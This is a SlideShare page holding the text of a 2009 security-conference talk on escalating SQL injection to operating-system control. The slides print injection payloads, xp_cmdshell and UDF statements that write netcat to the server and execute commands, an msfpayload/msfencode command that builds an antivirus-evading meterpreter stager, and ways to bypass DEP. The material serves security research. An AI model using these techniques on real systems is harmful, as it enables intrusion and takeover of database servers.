SlideShare una empresa de Scribd logo
1 de 40
Descargar para leer sin conexión
Advanced SQL injection to
operating system full control
  Bernardo Damele Assumpção Guimarães



             EUSecWest 2009
        London (UK) – May 28, 2009
Who I am
Bernardo Damele Assumpção Guimarães:

   Proud father

   Penetration tester / security researcher
       Portcullis Computer Security Ltd

   Open source projects
       sqlmap lead developer
       MySQL UDF repository developer
       Metasploit contributor
EUSecWest 2009, London (UK)               May 28, 2009   2
SQL injection definition
   SQL injection attacks are a type of injection
   attack, in which SQL commands are injected
   into data-plane input in order to affect the
   execution of predefined SQL statements

   It is a common threat in web applications that
   lack of proper sanitization on user-supplied
   input used in SQL queries

   It does not affect only web applications!

EUSecWest 2009, London (UK)            May 28, 2009   3
SQL injection techniques
   Boolean based blind SQL injection:
        par=1 AND ORD(MID((SQL query),
        Nth char, 1)) > Bisection num--

   UNION query (inband) SQL injection:
        par=1 UNION ALL SELECT query--

   Batched queries SQL injection:
        par=1; SQL query;--


EUSecWest 2009, London (UK)         May 28, 2009   4
How far can an attacker go by
     exploiting a SQL injection?




EUSecWest 2009, London (UK)   May 28, 2009   5
Scope of the analysis
   Three database software:
       MySQL on Windows
       PostgreSQL on Windows and Linux
       Microsoft SQL Server on Windows

   Three web application languages:
       ASP on Microsoft IIS, Windows
       ASP.NET on Microsoft IIS, Windows
       PHP on Apache and Microsoft IIS

EUSecWest 2009, London (UK)           May 28, 2009   6
Batched queries
   In SQL, batched queries are multiple SQL
   statements, separated by a semicolon, and
   passed to the database

   Example:

       SELECT col FROM table1 WHERE
       id=1; DROP table2;


EUSecWest 2009, London (UK)         May 28, 2009   7
Batched queries support

                              ASP   ASP.NET       PHP

  MySQL                       No      Yes          No

  PostgreSQL                  Yes     Yes          Yes


  Microsoft SQL Server        Yes     Yes          Yes

 Programming languages and their DBMS connectors default
                support for batched queries

EUSecWest 2009, London (UK)                 May 28, 2009   8
File system write access




EUSecWest 2009, London (UK)    May 28, 2009   9
File write access on MySQL
On the attacker box:

   Encode the local file content to its
   corresponding hexadecimal string

   Split the hexadecimal encoded string into
   chunks long 1024 characters each



EUSecWest 2009, London (UK)           May 28, 2009   10
File write access on MySQL
Via batched queries SQL injection technique:

   CREATE TABLE footable(data longblob);

   INSERT INTO footable(data) VALUES
   (0x4d5a90…610000);
   UPDATE footable SET
   data=CONCAT(data, 0xaa270000…000000);
   […];

   SELECT data FROM footable INTO DUMPFILE
   'C:/WINDOWS/Temp/nc.exe';

EUSecWest 2009, London (UK)                May 28, 2009   11
File write access on PostgreSQL
On the attacker box:

   Encode the local file content to its
   corresponding base64 string

   Split the base64 encoded string into chunks
   long 1024 characters each



EUSecWest 2009, London (UK)               May 28, 2009   12
File write access on PostgreSQL
Via batched queries SQL injection technique:

   CREATE TABLE footable(data text);
   INSERT INTO footable(data) VALUES ('TVqQ…');
   UPDATE footable SET data=data||'U8pp…vgDw';
   […]

   SELECT lo_create(47);
   UPDATE pg_largeobject SET data=(DECODE((SELECT
   data FROM footable), 'base64')) WHERE loid=47;

   SELECT lo_export(47, 'C:/WINDOWS/Temp/nc.exe');


EUSecWest 2009, London (UK)                 May 28, 2009   13
File write access on MS SQL Server
   Microsoft SQL Server can execute commands:
   xp_cmdshell()
       EXEC xp_cmdshell('echo … >> filepath')


   Session user must have CONTROL SERVER privilege

   On the attacker box:
       Split the file in chunks of 64Kb
       Convert each chunk to its plain text debug script
       format


EUSecWest 2009, London (UK)                    May 28, 2009   14
File write access on MS SQL Server
Example of nc.exe:
   00000000       4D 5A 90 00   03 00 00 00
   00000008       04 00 00 00   FF FF 00 00
   […]

As a plain text debug script:
   n qqlbc                  // Create a temporary file
   rcx                      // Write the file size in
   f000                     // the CX registry
   f 0100 f000 00           // Fill the segment with 0x00
   e 100 4d 5a 90 00 03 […] // Write in memory all values
   e 114 00 00 00 00 40 […]
   […]
   w                        // Write the file to disk
   q                        // Quit debug.exe



EUSecWest 2009, London (UK)                      May 28, 2009   15
File write access on MS SQL Server
Via batched queries SQL injection technique:
   For each debug script:
     EXEC master..xp_cmdshell '
     echo n qqlbc >> C:WINDOWSTempzdfiq.scr &
     echo rcx >> C:WINDOWSTempzdfiq.scr &
     echo f000 >> C:WINDOWSTempzdfiq.scr &
     echo f 0100 f000 00 >>
     C:WINDOWSTempzdfiq.scr &
     […]'




EUSecWest 2009, London (UK)              May 28, 2009   16
File write access on MS SQL Server

   EXEC master..xp_cmdshell '
   cd C:WINDOWSTemp &
   debug < C:WINDOWSTempzdfiq.scr &
   del /F C:WINDOWSTempzdfiq.scr &
   copy /B /Y netcat+qqlbc netcat'

   EXEC master..xp_cmdshell '
   cd C:WINDOWSTemp &
   move /Y netcat C:/WINDOWS/Temp/nc.exe'


EUSecWest 2009, London (UK)        May 28, 2009   17
Operating system access




EUSecWest 2009, London (UK)   May 28, 2009   18
User-Defined Function
   In SQL, a user-defined function is a custom
   function that can be evaluated in SQL
   statements

   UDF can be created from shared libraries
   that are compiled binary files

       Dynamic-link library on Windows
       Shared object on Linux

EUSecWest 2009, London (UK)          May 28, 2009   19
UDF injection
On the attacker box:

   Compile a shared library defining two UDF:
       sys_eval(cmd): executes cmd, returns stdout
       sys_exec(cmd): executes cmd, returns status

   The shared library can also be packed to speed
   up the upload via SQL injection:
       Windows: UPX for the dynamic-link library
       Linux: strip for the shared object

EUSecWest 2009, London (UK)                May 28, 2009   20
UDF injection
Via batched queries SQL injection technique:

   Upload the shared library to the DBMS file system

   Create the two UDF from the shared library

   Call either of the UDF to execute commands



EUSecWest 2009, London (UK)             May 28, 2009   21
UDF injection on MySQL
UDF Repository for MySQL
   lib_mysqludf_sys shared library:

       Approximately 6Kb packed
       Added sys_eval() to return command
       standard output
       Compliant with MySQL 5.0+
       Works on all versions of MySQL from 4.1.0
       Compatible with both Windows or Linux

EUSecWest 2009, London (UK)           May 28, 2009   22
UDF injection on MySQL
Via batched queries SQL injection technique:
   Fingerprint MySQL version
   Upload the shared library to a file system path
   where the MySQL looks for them

     CREATE FUNCTION sys_exec RETURNS int
     SONAME 'libudffmwgj.dll';

     CREATE FUNCTION sys_eval RETURNS string
     SONAME 'libudffmwgj.dll';

EUSecWest 2009, London (UK)              May 28, 2009   23
UDF injection on PostgreSQL
Ported MySQL shared library to PostgreSQL
   lib_postgresqludf_sys shared library:

       Approximately 6Kb packed
       C-Language Functions: sys_eval() and
       sys_exec()
       Compliant with PostgreSQL 8.2+ magic block
       Works on all versions of PostgreSQL from 8.0
       Compatible with both Windows or Linux


EUSecWest 2009, London (UK)                May 28, 2009   24
UDF injection on PostgreSQL
Via batched queries SQL injection technique:
   Fingerprint PostgreSQL version
   Upload the shared library to any file system path
   where PostgreSQL has rw access
     CREATE OR REPLACE FUNCTION sys_exec(text)
     RETURNS int4 AS 'libudflenpx.dll',
     'sys_exec' LANGUAGE C […];

     CREATE OR REPLACE FUNCTION sys_eval(text)
     RETURNS text AS 'libudflenpx.dll',
     'sys_eval' LANGUAGE C […];

EUSecWest 2009, London (UK)              May 28, 2009   25
Command execution on MS SQL Server

xp_cmdshell() stored procedure:

   Session user must have sysadmin role or be
   specified as a proxy account

   Enabled by default on MS SQL Server 2000 or re-
   enabled via sp_addextendedproc




EUSecWest 2009, London (UK)           May 28, 2009   26
Command execution on MS SQL Server

   Disabled by default on MS SQL Server 2005
   and 2008, it can be:

       Re-enabled via sp_configure

       Created from scratch using shell object




EUSecWest 2009, London (UK)             May 28, 2009   27
Out-of-band connection




EUSecWest 2009, London (UK)   May 28, 2009   28
OOB connection definition
Contrary to in-band connections (HTTP), it uses
an alternative channel to return data

This concept can be extended to establish a full-
duplex connection between the attacker
host and the database server

   Over this channel the attacker can have a command
   prompt or a graphical access (VNC) to the DBMS
   server
EUSecWest 2009, London (UK)              May 28, 2009   29
A good friend: Metasploit
   Metasploit is a powerful open source exploitation
   framework

       Post-exploitation in a SQL injection scenario

   SQL injection as a stepping stone for OOB channel
   using Metasploit can be achieved

       Requires file system write access and command
       execution via in-band connection – already
       achieved

EUSecWest 2009, London (UK)                May 28, 2009   30
OOB via payload stager
On the attacker box:

   Forge a stand-alone payload stager with
   msfpayload

   Encode it with msfencode to bypass AV

   Pack it with UPX to speed up the upload via SQL
   injection if the target OS is Windows


EUSecWest 2009, London (UK)             May 28, 2009   31
OOB via payload stager
Example of payload stager creation and encode:

      $ msfpayload windows/meterpreter/bind_tcp
      EXITFUNC=process LPORT=31486 R | msfencode –e
      x86/shikata_ga_nai -t exe -o stagerbvdcp.exe

Payload stager compression:

      $ upx -9 –qq stagerbvdcp.exe


The payload stager size is 9728 bytes, as a
compressed executable its size is 2560 bytes

EUSecWest 2009, London (UK)                May 28, 2009   32
OOB via payload stager
   On the attacker box:

       Run msfcli with multi/handler exploit

   Via batched queries SQL injection technique:

       Upload the stand-alone payload stager to the file
       system temporary folder of the DBMS

       Execute it via sys_exec() or xp_cmdshell()

EUSecWest 2009, London (UK)                  May 28, 2009   33
Stored procedure buffer overflow
   Discovered by Bernhard Mueller on
   December 4, 2008
       sp_replwritetovarbin heap-based buffer
       overflow on Microsoft SQL Server 2000 SP4 and
       Microsoft SQL Server 2005 SP2

   Patched by Microsoft on February 10, 2009 –
   MS09-004



EUSecWest 2009, London (UK)             May 28, 2009   34
Buffer overflow exploit
   Session user needs only EXECUTE privilege on the
   stored procedure – default


   Guido Landi wrote the first public stand-
   alone exploit for this vulnerability

        I added support for multi-stage payload and
       integrated it in sqlmap


EUSecWest 2009, London (UK)               May 28, 2009   35
Data Execution Prevention
   DEP is a security feature that prevents code
   execution in memory pages not marked as
   executable

   It can be configured to allow exceptions

   Default settings allow exceptions:
       Windows 2003 SP1+: OptOut
       Windows 2008 SP0+: OptOut
EUSecWest 2009, London (UK)             May 28, 2009   36
Bypass DEP
   When it is set to OptOut:

       Exception for sqlservr.exe in the registry
           Via bat file by calling reg
           Via reg file by passing it to regedit
           Via master..xp_regwrite

       Upload and execute a bat file which executes
       sc to restart the process

EUSecWest 2009, London (UK)                   May 28, 2009   37
Credits
   Guido Landi
   Alberto Revelli
   Alessandro Tanasi
   Metasploit development team

   More acknowledgments and references on the
   white paper, http://tinyurl.com/sqlmap1



EUSecWest 2009, London (UK)        May 28, 2009   38
Questions?




EUSecWest 2009, London (UK)   May 28, 2009   39
Thanks for your attention!


    Bernardo Damele Assumpção Guimarães
                   bernardo.damele@gmail.com
                   bda@portcullis-security.com

              http://bernardodamele.blogspot.com
                  http://sqlmap.sourceforge.net



EUSecWest 2009, London (UK)                      May 28, 2009   40

Más contenido relacionado

La actualidad más candente

Advanced sql injection
Advanced sql injectionAdvanced sql injection
Advanced sql injection
badhanbd
 
My sql technical reference manual
My sql technical reference manualMy sql technical reference manual
My sql technical reference manual
Mir Majid
 

La actualidad más candente (20)

Sqlmap
SqlmapSqlmap
Sqlmap
 
Sqlmap
SqlmapSqlmap
Sqlmap
 
Linux Ethernet device driver
Linux Ethernet device driverLinux Ethernet device driver
Linux Ethernet device driver
 
Firebird
FirebirdFirebird
Firebird
 
Drupal, Memcache and Solr on Windows
Drupal, Memcache and Solr on WindowsDrupal, Memcache and Solr on Windows
Drupal, Memcache and Solr on Windows
 
Advanced sql injection
Advanced sql injectionAdvanced sql injection
Advanced sql injection
 
How to export import a mysql database via ssh in aws lightsail wordpress rizw...
How to export import a mysql database via ssh in aws lightsail wordpress rizw...How to export import a mysql database via ssh in aws lightsail wordpress rizw...
How to export import a mysql database via ssh in aws lightsail wordpress rizw...
 
My sql technical reference manual
My sql technical reference manualMy sql technical reference manual
My sql technical reference manual
 
Linux watchdog timer
Linux watchdog timerLinux watchdog timer
Linux watchdog timer
 
Backtrack Manual Part7
Backtrack Manual Part7Backtrack Manual Part7
Backtrack Manual Part7
 
Usage Notes of The Bro 2.2 / 2.3
Usage Notes of The Bro 2.2 / 2.3Usage Notes of The Bro 2.2 / 2.3
Usage Notes of The Bro 2.2 / 2.3
 
Db2 cli
Db2 cliDb2 cli
Db2 cli
 
Usage Note of SWIG for PHP
Usage Note of SWIG for PHPUsage Note of SWIG for PHP
Usage Note of SWIG for PHP
 
ARMITAGE-THE CYBER ATTACK MANAGEMENT
ARMITAGE-THE CYBER ATTACK MANAGEMENTARMITAGE-THE CYBER ATTACK MANAGEMENT
ARMITAGE-THE CYBER ATTACK MANAGEMENT
 
SQL2SPARQL
SQL2SPARQLSQL2SPARQL
SQL2SPARQL
 
Registry
RegistryRegistry
Registry
 
WebSphere Message Broker installation guide
WebSphere Message Broker installation guideWebSphere Message Broker installation guide
WebSphere Message Broker installation guide
 
HandlerSocket - A NoSQL plugin for MySQL
HandlerSocket - A NoSQL plugin for MySQLHandlerSocket - A NoSQL plugin for MySQL
HandlerSocket - A NoSQL plugin for MySQL
 
Internal representation of files ppt
Internal representation of files pptInternal representation of files ppt
Internal representation of files ppt
 
Operating System Assignment Help
Operating System Assignment HelpOperating System Assignment Help
Operating System Assignment Help
 

Destacado

NCC Group 44Con Workshop: How to assess and secure ios apps
NCC Group 44Con Workshop: How to assess and secure ios appsNCC Group 44Con Workshop: How to assess and secure ios apps
NCC Group 44Con Workshop: How to assess and secure ios apps
NCC Group
 

Destacado (15)

Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)
 
Advanced SQL injection to operating system full control (whitepaper)
Advanced SQL injection to operating system full control (whitepaper)Advanced SQL injection to operating system full control (whitepaper)
Advanced SQL injection to operating system full control (whitepaper)
 
SQL injection: Not only AND 1=1
SQL injection: Not only AND 1=1SQL injection: Not only AND 1=1
SQL injection: Not only AND 1=1
 
Securing your web applications a pragmatic approach
Securing your web applications a pragmatic approachSecuring your web applications a pragmatic approach
Securing your web applications a pragmatic approach
 
SQL injection exploitation internals
SQL injection exploitation internalsSQL injection exploitation internals
SQL injection exploitation internals
 
HackInBo2k16 - Threat Intelligence and Malware Analysis
HackInBo2k16 - Threat Intelligence and Malware AnalysisHackInBo2k16 - Threat Intelligence and Malware Analysis
HackInBo2k16 - Threat Intelligence and Malware Analysis
 
NCC Group 44Con Workshop: How to assess and secure ios apps
NCC Group 44Con Workshop: How to assess and secure ios appsNCC Group 44Con Workshop: How to assess and secure ios apps
NCC Group 44Con Workshop: How to assess and secure ios apps
 
Data Retrieval over DNS in SQL Injection Attacks
Data Retrieval over DNS in SQL Injection AttacksData Retrieval over DNS in SQL Injection Attacks
Data Retrieval over DNS in SQL Injection Attacks
 
Time-Based Blind SQL Injection
Time-Based Blind SQL InjectionTime-Based Blind SQL Injection
Time-Based Blind SQL Injection
 
SQL Injection Attacks cs586
SQL Injection Attacks cs586SQL Injection Attacks cs586
SQL Injection Attacks cs586
 
Sql injection attack
Sql injection attackSql injection attack
Sql injection attack
 
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developers
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
 
Sql injection with sqlmap
Sql injection with sqlmapSql injection with sqlmap
Sql injection with sqlmap
 
EyePyramid and other .NET malware. How to analyze them?
EyePyramid and other .NET malware. How to analyze them?EyePyramid and other .NET malware. How to analyze them?
EyePyramid and other .NET malware. How to analyze them?
 

Similar a Advanced SQL injection to operating system full control (short version)

Sql injection manish file
Sql injection manish fileSql injection manish file
Sql injection manish file
yukta888
 
Mysqlppt3510
Mysqlppt3510Mysqlppt3510
Mysqlppt3510
Anuja Lad
 
Black hat 2010-bannedit-advanced-command-injection-exploitation-1-wp
Black hat 2010-bannedit-advanced-command-injection-exploitation-1-wpBlack hat 2010-bannedit-advanced-command-injection-exploitation-1-wp
Black hat 2010-bannedit-advanced-command-injection-exploitation-1-wp
rgster
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack
webhostingguy
 
Introdot Netc Sharp En
Introdot Netc Sharp EnIntrodot Netc Sharp En
Introdot Netc Sharp En
Gregory Renard
 

Similar a Advanced SQL injection to operating system full control (short version) (20)

Session11 Ucc Intro
Session11 Ucc IntroSession11 Ucc Intro
Session11 Ucc Intro
 
SQL Server on Linux
SQL Server on LinuxSQL Server on Linux
SQL Server on Linux
 
Sql injection manish file
Sql injection manish fileSql injection manish file
Sql injection manish file
 
Install .Net Core, SQL Server V-Next on Linux and deploy .Net core applicatio...
Install .Net Core, SQL Server V-Next on Linux and deploy .Net core applicatio...Install .Net Core, SQL Server V-Next on Linux and deploy .Net core applicatio...
Install .Net Core, SQL Server V-Next on Linux and deploy .Net core applicatio...
 
Windows PowerShell
Windows PowerShellWindows PowerShell
Windows PowerShell
 
Architecting .NET solutions in a Docker ecosystem - .NET Fest Kyiv 2019
Architecting .NET solutions in a Docker ecosystem - .NET Fest Kyiv 2019Architecting .NET solutions in a Docker ecosystem - .NET Fest Kyiv 2019
Architecting .NET solutions in a Docker ecosystem - .NET Fest Kyiv 2019
 
Mysqlppt3510
Mysqlppt3510Mysqlppt3510
Mysqlppt3510
 
Mysqlppt3510
Mysqlppt3510Mysqlppt3510
Mysqlppt3510
 
Black hat 2010-bannedit-advanced-command-injection-exploitation-1-wp
Black hat 2010-bannedit-advanced-command-injection-exploitation-1-wpBlack hat 2010-bannedit-advanced-command-injection-exploitation-1-wp
Black hat 2010-bannedit-advanced-command-injection-exploitation-1-wp
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack
 
PowerShell Technical Overview
PowerShell Technical OverviewPowerShell Technical Overview
PowerShell Technical Overview
 
Visual studio.net
Visual studio.netVisual studio.net
Visual studio.net
 
Sql on linux - ITpro
Sql on linux - ITproSql on linux - ITpro
Sql on linux - ITpro
 
Integration tests: use the containers, Luke!
Integration tests: use the containers, Luke!Integration tests: use the containers, Luke!
Integration tests: use the containers, Luke!
 
Java programming concept
Java programming conceptJava programming concept
Java programming concept
 
Dynamic Slides using OpenOffice.org Impress and Python
Dynamic Slides using OpenOffice.org Impress and PythonDynamic Slides using OpenOffice.org Impress and Python
Dynamic Slides using OpenOffice.org Impress and Python
 
WIndows Embedded Compact 2013 – What’s news
WIndows Embedded Compact 2013 – What’s newsWIndows Embedded Compact 2013 – What’s news
WIndows Embedded Compact 2013 – What’s news
 
Sql Server - Apresentação
Sql Server - ApresentaçãoSql Server - Apresentação
Sql Server - Apresentação
 
Database design i_-_1_dl300
Database design i_-_1_dl300Database design i_-_1_dl300
Database design i_-_1_dl300
 
Introdot Netc Sharp En
Introdot Netc Sharp EnIntrodot Netc Sharp En
Introdot Netc Sharp En
 

Último

Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
vu2urc
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 

Último (20)

GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 

Advanced SQL injection to operating system full control (short version)

  • 1. Advanced SQL injection to operating system full control Bernardo Damele Assumpção Guimarães EUSecWest 2009 London (UK) – May 28, 2009
  • 2. Who I am Bernardo Damele Assumpção Guimarães: Proud father Penetration tester / security researcher Portcullis Computer Security Ltd Open source projects sqlmap lead developer MySQL UDF repository developer Metasploit contributor EUSecWest 2009, London (UK) May 28, 2009 2
  • 3. SQL injection definition SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL statements It is a common threat in web applications that lack of proper sanitization on user-supplied input used in SQL queries It does not affect only web applications! EUSecWest 2009, London (UK) May 28, 2009 3
  • 4. SQL injection techniques Boolean based blind SQL injection: par=1 AND ORD(MID((SQL query), Nth char, 1)) > Bisection num-- UNION query (inband) SQL injection: par=1 UNION ALL SELECT query-- Batched queries SQL injection: par=1; SQL query;-- EUSecWest 2009, London (UK) May 28, 2009 4
  • 5. How far can an attacker go by exploiting a SQL injection? EUSecWest 2009, London (UK) May 28, 2009 5
  • 6. Scope of the analysis Three database software: MySQL on Windows PostgreSQL on Windows and Linux Microsoft SQL Server on Windows Three web application languages: ASP on Microsoft IIS, Windows ASP.NET on Microsoft IIS, Windows PHP on Apache and Microsoft IIS EUSecWest 2009, London (UK) May 28, 2009 6
  • 7. Batched queries In SQL, batched queries are multiple SQL statements, separated by a semicolon, and passed to the database Example: SELECT col FROM table1 WHERE id=1; DROP table2; EUSecWest 2009, London (UK) May 28, 2009 7
  • 8. Batched queries support ASP ASP.NET PHP MySQL No Yes No PostgreSQL Yes Yes Yes Microsoft SQL Server Yes Yes Yes Programming languages and their DBMS connectors default support for batched queries EUSecWest 2009, London (UK) May 28, 2009 8
  • 9. File system write access EUSecWest 2009, London (UK) May 28, 2009 9
  • 10. File write access on MySQL On the attacker box: Encode the local file content to its corresponding hexadecimal string Split the hexadecimal encoded string into chunks long 1024 characters each EUSecWest 2009, London (UK) May 28, 2009 10
  • 11. File write access on MySQL Via batched queries SQL injection technique: CREATE TABLE footable(data longblob); INSERT INTO footable(data) VALUES (0x4d5a90…610000); UPDATE footable SET data=CONCAT(data, 0xaa270000…000000); […]; SELECT data FROM footable INTO DUMPFILE 'C:/WINDOWS/Temp/nc.exe'; EUSecWest 2009, London (UK) May 28, 2009 11
  • 12. File write access on PostgreSQL On the attacker box: Encode the local file content to its corresponding base64 string Split the base64 encoded string into chunks long 1024 characters each EUSecWest 2009, London (UK) May 28, 2009 12
  • 13. File write access on PostgreSQL Via batched queries SQL injection technique: CREATE TABLE footable(data text); INSERT INTO footable(data) VALUES ('TVqQ…'); UPDATE footable SET data=data||'U8pp…vgDw'; […] SELECT lo_create(47); UPDATE pg_largeobject SET data=(DECODE((SELECT data FROM footable), 'base64')) WHERE loid=47; SELECT lo_export(47, 'C:/WINDOWS/Temp/nc.exe'); EUSecWest 2009, London (UK) May 28, 2009 13
  • 14. File write access on MS SQL Server Microsoft SQL Server can execute commands: xp_cmdshell() EXEC xp_cmdshell('echo … >> filepath') Session user must have CONTROL SERVER privilege On the attacker box: Split the file in chunks of 64Kb Convert each chunk to its plain text debug script format EUSecWest 2009, London (UK) May 28, 2009 14
  • 15. File write access on MS SQL Server Example of nc.exe: 00000000 4D 5A 90 00 03 00 00 00 00000008 04 00 00 00 FF FF 00 00 […] As a plain text debug script: n qqlbc // Create a temporary file rcx // Write the file size in f000 // the CX registry f 0100 f000 00 // Fill the segment with 0x00 e 100 4d 5a 90 00 03 […] // Write in memory all values e 114 00 00 00 00 40 […] […] w // Write the file to disk q // Quit debug.exe EUSecWest 2009, London (UK) May 28, 2009 15
  • 16. File write access on MS SQL Server Via batched queries SQL injection technique: For each debug script: EXEC master..xp_cmdshell ' echo n qqlbc >> C:WINDOWSTempzdfiq.scr & echo rcx >> C:WINDOWSTempzdfiq.scr & echo f000 >> C:WINDOWSTempzdfiq.scr & echo f 0100 f000 00 >> C:WINDOWSTempzdfiq.scr & […]' EUSecWest 2009, London (UK) May 28, 2009 16
  • 17. File write access on MS SQL Server EXEC master..xp_cmdshell ' cd C:WINDOWSTemp & debug < C:WINDOWSTempzdfiq.scr & del /F C:WINDOWSTempzdfiq.scr & copy /B /Y netcat+qqlbc netcat' EXEC master..xp_cmdshell ' cd C:WINDOWSTemp & move /Y netcat C:/WINDOWS/Temp/nc.exe' EUSecWest 2009, London (UK) May 28, 2009 17
  • 18. Operating system access EUSecWest 2009, London (UK) May 28, 2009 18
  • 19. User-Defined Function In SQL, a user-defined function is a custom function that can be evaluated in SQL statements UDF can be created from shared libraries that are compiled binary files Dynamic-link library on Windows Shared object on Linux EUSecWest 2009, London (UK) May 28, 2009 19
  • 20. UDF injection On the attacker box: Compile a shared library defining two UDF: sys_eval(cmd): executes cmd, returns stdout sys_exec(cmd): executes cmd, returns status The shared library can also be packed to speed up the upload via SQL injection: Windows: UPX for the dynamic-link library Linux: strip for the shared object EUSecWest 2009, London (UK) May 28, 2009 20
  • 21. UDF injection Via batched queries SQL injection technique: Upload the shared library to the DBMS file system Create the two UDF from the shared library Call either of the UDF to execute commands EUSecWest 2009, London (UK) May 28, 2009 21
  • 22. UDF injection on MySQL UDF Repository for MySQL lib_mysqludf_sys shared library: Approximately 6Kb packed Added sys_eval() to return command standard output Compliant with MySQL 5.0+ Works on all versions of MySQL from 4.1.0 Compatible with both Windows or Linux EUSecWest 2009, London (UK) May 28, 2009 22
  • 23. UDF injection on MySQL Via batched queries SQL injection technique: Fingerprint MySQL version Upload the shared library to a file system path where the MySQL looks for them CREATE FUNCTION sys_exec RETURNS int SONAME 'libudffmwgj.dll'; CREATE FUNCTION sys_eval RETURNS string SONAME 'libudffmwgj.dll'; EUSecWest 2009, London (UK) May 28, 2009 23
